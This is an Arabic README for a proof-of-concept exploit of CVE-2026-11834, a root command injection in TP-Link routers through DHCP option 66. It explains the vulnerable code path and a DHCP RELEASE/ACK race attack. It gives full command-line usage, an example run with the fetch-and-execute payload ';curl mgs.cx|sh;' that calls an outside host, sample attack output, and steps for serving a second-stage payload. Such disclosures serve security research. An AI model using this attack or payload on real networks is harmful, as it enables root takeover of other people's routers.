
إثبات المفهوم (PoC) لثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) غير المصادق عليها عبر خيار DHCP 66 في أجهزة TP-Link (CVE-2026-11834)
ثغرة RCE غير مصادق عليها في خيار DHCP 66 بمنتجات TP-Link (CVE-2026-11834)
تسمح ثغرة حقن أوامر (CWE-78) في معالجة خيار DHCP 66 ("اسم خادم TFTP") في برنامج تشغيل أجهزة توجيه TP-Link لمهاجم غير مصادق عليه على نفس قطاع الشبكة بتنفيذ أوامر تعسفية بصلاحيات الجذر. عندما يعمل الجهاز كعميل DHCP على واجهة WAN، يتم دمج قيمة الخيار 66 المعادة في عقد الإيجار دون تطهير في أمر tftp داخل libcmm.so. تقوم خمس دوال ببناء هذا الأمر وتمريره إلى util_execSystem()، التي تستدعي system()، وبالتالي يتم تفسير قيمة الخيار 66 المصممة كمدخلات shell وتنفيذها بصلاحيات الجذر.
يتم اقتطاع قيمة الخيار 66 إلى 16 حرفاً على الجهاز، لذا تكون الحمولة عبارة عن أمر جلب وتنفيذ بسيط (;curl <domain>|sh;) يسحب مرحلة ثانية أكبر عبر HTTP.
لا يحتاج المهاجم إلى التحكم في خادم DHCP. يزاحم هذا الـPoC الخادم الشرعي على القطاع: فهو يزيف حزمة إطلاق RELEASE الخاصة بـ DHCP بالنيابة عن الهدف لمسح ارتباطه، وينتظر حتى يعيد الهدف الحصول على عقد الإيجار، ثم يرد على بث الهدف بحزمة OFFER/ خبيثة تحمل الحمولة قبل رد الخادم الشرعي.
ACKتم اختبار إثبات المفهوم هذا (PoC) على جهاز TP-Link Archer C20 V6 (البرنامج الثابت 0.9.1 Build 4.19، إصدار EU). مسار الكود القابل للاستغلال مشترك عبر مجموعة من أجهزة توجيه TP-Link؛ قد تختلف إزاحات الذاكرة وعناوين الدوال والسلوك في الموديلات الأخرى أو إصدارات البرنامج الثابت الأخرى.
يقوم إثبات المفهوم هذا بتسليم حمولة الخيار 66 التي يتم تنفيذها بصلاحيات الجذر على الجهاز الهدف. قم بتشغيل هذا فقط ضد أجهزة تملكها أو مخوّل صراحةً لاختبارها.
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
| الوسيط | الوصف |
|---|---|
target_ip | عنوان IP الحالي للجهاز الهدف |
-i, --interface | واجهة الشبكة على قطاع الهدف |
-s, --server-ip | عنوان IP لخادم DHCP الشرعي |
-S, --server-mac | عنوان MAC لخادم DHCP الشرعي |
-p, --payload | قيمة الخيار 66 (<=16 حرفاً)، مثل `;curl |
-t, --target-mac | عنوان MAC للهدف (يتم حله تلقائياً عبر ARP إذا تم حذفه) |
-a, --attacker-ip | معرّف الخادم المُعلن في عقد الإيجار الخبيث (الافتراضي هو عنوان IP للواجهة) |
مثال على التشغيل:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
يستضيف خادم الحمولة مرحلة ثانية يجلبها الجهاز وينفذها. على سبيل المثال:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80